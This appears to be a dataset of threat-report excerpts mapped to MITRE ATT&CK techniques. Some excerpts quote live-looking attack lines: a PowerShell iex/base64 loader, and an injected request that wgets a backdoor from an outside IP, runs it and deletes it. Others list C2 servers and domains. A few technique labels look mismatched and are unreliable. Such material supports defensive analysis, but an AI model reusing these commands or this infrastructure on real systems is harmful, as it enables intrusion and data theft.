Threat description: Part of packed VM PCODE After unpacking, the PCODE it will look like the following: Unpacked PCODE After unpacking the virtual machine PCODE is then decrypted: Decrypted VM PCODE The custom virtual machine supports a total of 34 instructions: Example of parsed PCODE In this example, the “1b” instruction is responsible for executing native code that is specified in parameter field
MITRE ATT&CK techniques:
- T1027.001: Obfuscated Files or Information - Binary Padding
- T1027.002: Obfuscated Files or Information - Software Packing
- T1140: Deobfuscate/Decode Files or Information
- T1497: Virtualization/Sandbox Evasion
Threat description: POSHSPY WMI Component The WMI component of the POSHSPY backdoor leverages a Filter to execute the PowerShell component of the backdoor on a regular basis
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1047: Windows Management Instrumentation
Threat description: powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini))));  PowerShell one-liner Encoded text file Execution flow:  The PowerShell code When PowerShell is invoked whether via WMI, wscript.exe, or mshta.exe, it executes a one-liner PowerShell code (as outlined above) that reads the encoded text file dropped in ProgramData and then decodes it
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1036: Masquerading
Threat description: PowerShell Script “58d2a83f777942.26535794.ps1” is a multilayer obfuscated PowerShell script, which launches shellcode for a Cobalt Strike stager
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1027: Obfuscated Files or Information
Threat description: Previous related research: https://sec0wn.blogspot.com/2018/05/clearing-muddywater-analysis-of-new.html?m=1 https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/ https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/ https://www.sekoia.fr/blog/falling-on-muddywater/  Decoy images by country Jordan     The Hashemite Kingdom of Jordan, Ministry of Justice (mwjo.doc) DAMAMAX.doc    Turkey     Turkey’s General Directorate of Security Turkey’s Directorate General of Coastal Safety        Turkey’s General Directorate of Security (Onemli Rapor.doc) Turkey’s Ministry of the Interior (Early election.doc)    Saudi Arabia Document signed by the Major General Pilot, commander of the Saudi Royal Air Force     KSA King Saud University (KSU) KSA King Saud University (KSU)    Azerbaijan İnkişaf üçün görüş.doc (meeting for development) Iraq     Iraqi Ministry of Foreign Affairs Government of Iraq, the Treasury of the Council of Ministers    Pakistan     ECP.doc National Assembly of Pakistan.doc        P.Police.doc     Afghanistan President.doc, E-government of Afghanistan Technical details Below is a description of the malware extraction and execution flow, starting from the initial infection vector, running VBA code via a macro and then dropping the PowerShell code that establishes command-center communications, sends victim system information and then receives commands supported by the malware
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: Probably full and active window screenshot quality   captureActiveQC 40   CaptureSites VPN*0,0 Login*0,0 mail*0,0 Security*0,0 Window titles of interest for screenshots, using left mouse button and Enter keypress hook   important upLog.txt upSCRLog.txt upSpecial.txt upFile.txt upMSLog.txt List of files to send to C2 using bitsadmin.exe from the dedicated thread   maxUpFileSizeKByte 1000000 Maximum size of file uploaded to C2   Servers http://108.61.189.174 Control server HTTP URL   ZipPass KtJvOXulgibfiHk Password for uploaded zip archives   browserPasswordCheckTimeout 300000 Milliseconds to wait between gathering key3.db, cookies.sqlite and other browser files in dedicated thread    Most of the parameters are self-explanatory
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1041: Exfiltration Over C2 Channel
Threat description: Procmon shows the malicious module loaded using the regsvr32.exe process.   Phase two: Payload Analysis    The only module the XSL script loads is Irdsnhrxxxfery64, which is packed using the UPX packer
MITRE ATT&CK techniques:
- T1218.010: System Binary Proxy Execution - Regsvr32
- T1027.002: Obfuscated Files or Information - Software Packing
Threat description: RAR Creates RAR files per logical drive containing data with timestamps for the past 7 days, then uploads RAR to the C2 server using a POST command at the path “/FeedBack.php”
MITRE ATT&CK techniques:
- T1560: Archive Collected Data
- T1041: Exfiltration Over C2 Channel
Threat description: Read a specified file’s contents and send the data to the control server Write data sent by the control server to an existing file Mark a file to be deleted on reboot  Marking a file for deletion on reboot
MITRE ATT&CK techniques:
- T1070.006: Indicator Removal - Timestomp
- T1041: Exfiltration Over C2 Channel
Threat description: Reaver.v1 has been observed delivering a payload that uses HTTP for network communication, while versions 2 and 3 use a payload that uses raw TCP connections for this communication
MITRE ATT&CK techniques:
- T1049: System Network Connections Discovery
- T1071: Application Layer Protocol
Threat description: Reaver will then install itself as a service in the event it is running with SeDebugPrivilege privileges.  The service is configured with a name, description, and display name that is provided within the configuration
MITRE ATT&CK techniques:
- T1007: System Service Discovery
- T1543.003: Create or Modify System Process - Windows Service
Threat description: Registry key “Software\Microsoft\Windows\CurrentVersion\Internet Settings\” is queried to gather proxy information with values ProxyEnable, Proxy: (NO), Proxy, ProxyServer
MITRE ATT&CK techniques:
- T1012: Query Registry
- T1090: Proxy
Threat description: Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions
MITRE ATT&CK techniques:
- T1562.001: Impair Defenses - Disable or Modify Tools
- T1083: File and Directory Discovery
Threat description: RIPTIDE’s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: SA  Generates the following IRC client command that will be sent to the C2 server: PRIVMSG <username> : Hello ,my name is  <IRC USER name>, Im ready my Computer Name is:<computer name>    All of the commands, except for the VER command, must be issued by individuals in the IRC channel with nicknames that start with “AS_” or “AF_”
MITRE ATT&CK techniques:
- T1082: System Information Discovery
- T1033: System Owner/User Discovery
Threat description: Sample(s) f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0 5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c   DNS tbs1/tbs2.microsoftonline.services   Domains 0ffice365[.]agency    0ffice365[.]life    0ffice365[.]services    0nedrive[.]agency    corewindows[.]agency    microsoftonline[.]agency    onedrive[.]agency    sharepoint[.]agency    skydrive[.]agency    skydrive[.]services   Sample eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97   DNS tvs1/tvs2.trafficmanager.live   Domains akamaiedge[.]live     akamaized[.]live     akdns[.]live     edgekey[.]live    Table 7: Sample and Domain Associations The third cluster of domains had six different nameservers associated with them, but unlike the other two clusters, were all directly tied to each other
MITRE ATT&CK techniques:
- T1007: System Service Discovery
- T1543.003: Create or Modify System Process - Windows Service
Threat description: SCT File Analysis The code of the Defender.sct file is an obfuscated JavaScript
MITRE ATT&CK techniques:
- T1064: Scripting
- T1027: Obfuscated Files or Information
Threat description: SECOND STAGE JAVASCRIPT INTO POWERSHELL: The second stage JavaScript creates a PowerShell file with the same name in the same directory
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
- T1064: Scripting
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: Service providers have significant access to customer networks, enabling an attacker who had compromised a service provider to move laterally into the network of the service provider’s customer
MITRE ATT&CK techniques:
- T1543.003: Create or Modify System Process - Windows Service
- T1021: Remote Services
Threat description: Serving the backdoor  Another HTTP request is sent to the targeted server, with the following resource: /?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc The above standard injection pulls the ibus payload and stores it on /tmp/e3ac24a0bcddfacd010a6c10f4a814bc  Launching the backdoor  The execution is issued using an additional HTTP request: /?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc That executes the perl script, puts it to sleep for two seconds and deletes the file to remove any evidence
MITRE ATT&CK techniques:
- T1074: Data Staged
- T1070.004: Indicator Removal - File Deletion
Threat description: Similar to the previous case, if Avast and aswrundll.exe are on the machine, Irdsnhrxxxfery98 will be injected into that process instead of regsvr32.exe.   Irdsnhrxxxfery64 injecting lrdsnhrxxfery98
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1218.010: System Binary Proxy Execution - Regsvr32
Threat description: Since Operation Clandestine Fox, we have observed this actor execute multiple attacks that did not rely on zero-day exploits. The combination of this sustained operational tempo and lack of zero-day exploits may indicate that this group has changed strategy and has decided to attack more frequently and does not have steady access to zero-day exploit code. No matter the strategy, this actor has shown an ability to operate successfully
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
- T1068: Exploitation for Privilege Escalation
Threat description: Some of the instances used in this script are: $eNv:puBLic[13]+$ENv:pUBLIc[5]+'x' ($ENV:cOMsPEC[4,26,25]-jOin'')      XOR encoding: The biggest section of the PowerShell script is XOR encoded using a single byte key, as shown in Figure 11
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1027: Obfuscated Files or Information
Threat description: Specifies the screen coordinates to take   -zip Name of password (from configuration data) protected zip archive   -clipboard Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration    Data exfiltration Exfiltration is done through the bitsadmin.exe utility
MITRE ATT&CK techniques:
- T1486: Data Encrypted for Impact
- T1113: Screen Capture
- T1115: Clipboard Data
- T1560: Archive Collected Data
- T1132: Data Encoding
Threat description: SpyNote RAT is capable of performing a variety of alarming functions that includes:   Activating the device’s microphone and listening to live conversations  Executing commands on the device  Copying files from the device to a Command & Control (C&C) center  Recording screen captures  Viewing contacts  Reading SMS messages  The screenshot below shows part of the sandbox’s report on the SpyNote RAT’s signature and detected functions:          Figure 1 : Zscaler Cloud Sandbox Detection     The fake Netflix app we are analyzing in this blog appears to be built using an updated version of SpyNote RAT builder, which was leaked last year
MITRE ATT&CK techniques:
- T1043: Commonly Used Port
- T1113: Screen Capture
- T1083: File and Directory Discovery
Threat description: Strings in the backdoor are encrypted using a custom algorithm that uses XOR with a 4-byte key
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1027: Obfuscated Files or Information
Threat description: Summary information for the three binaries we analyzed follows:    MD5 364ff454dcf00420cff13a57bcb78467   SHA-256 8bca0031f3b691421cb15f9c6e71ce19335 5d2d8cf2b190438b6962761d0c6bb   ssdeep 3072:n+1R4tREtGN4qyGCXdHPYK9l0H786 O26BmMAwyWMn/qwwiHNl:n+1R43QcIL XdF0w6IBmMAwwCwwi   Size 141.2 KB (144560 bytes)   Type ELF 64-bit (stripped)   Install as root /bin/rsyncd   Root install desc synchronize and backup service   Install as non-root ~/.config/dbus-notifier/dbus-inotifier   Non-root install desc system service d-bus notifier   C2 azureon-line[.]com (TCP/80)   Usage Timeframe Late 2014    Table 1: Sample 1 – Late 2014 Sofacy 64-bit Fysbis    MD5 075b6695ab63f36af65f7ffd45cccd39   SHA-256 02c7cf55fd5c5809ce2dce56085ba43795f2 480423a4256537bfdfda0df85592   ssdeep 3072:9ZAxHANuat3WWFY9nqjwbuZf454U NqRpROIDLHaSeWb3LGmPTrIW33HxIajF: 9ZAxHANJAvbuZf454UN+rv eQLZPTrV3Z   Size 175.9 KB (180148 bytes)   Type ELF 32-bit (stripped)   Install as root /bin/ksysdefd   Root install desc system kernel service defender   Install as non-root ~/.config/ksysdef/ksysdefd   Non-root install desc system kernel service defender   C2 198.105.125[.]74 (TCP/80)   Usage Timeframe Early 2015    Table 2: Sample 2 – Early 2015 Sofacy 32-bit Fysbis    MD5 e107c5c84ded6cd9391aede7f04d64c8   SHA-256 fd8b2ea9a2e8a67e4cb3904b49c789d57ed 9b1ce5bebfe54fe3d98214d6a0f61   ssdeep 6144:W/D5tpLWtr91gmaVy+mdckn6BCUd c4mLc2B9:4D5Lqgkcj+   Size 314.4 KB (321902 bytes)   Type ELF 64-bit (not stripped)   Install as root /bin/ksysdefd   Root install desc system kernel service defender   Install as non-root ~/.config/ksysdef/ksysdefd   Non-root install desc system kernel service defender   C2 mozilla-plugins[.]com (TCP/80)   Usage Timeframe Late 2015    Table 3: Sample 3 – Late 2015 Sofacy 64-bit Fysbis Overall, these binaries are assessed as low sophistication, but effective
MITRE ATT&CK techniques:
- T1082: System Information Discovery
- T1543.003: Create or Modify System Process - Windows Service
- T1569.002: System Services - Service Execution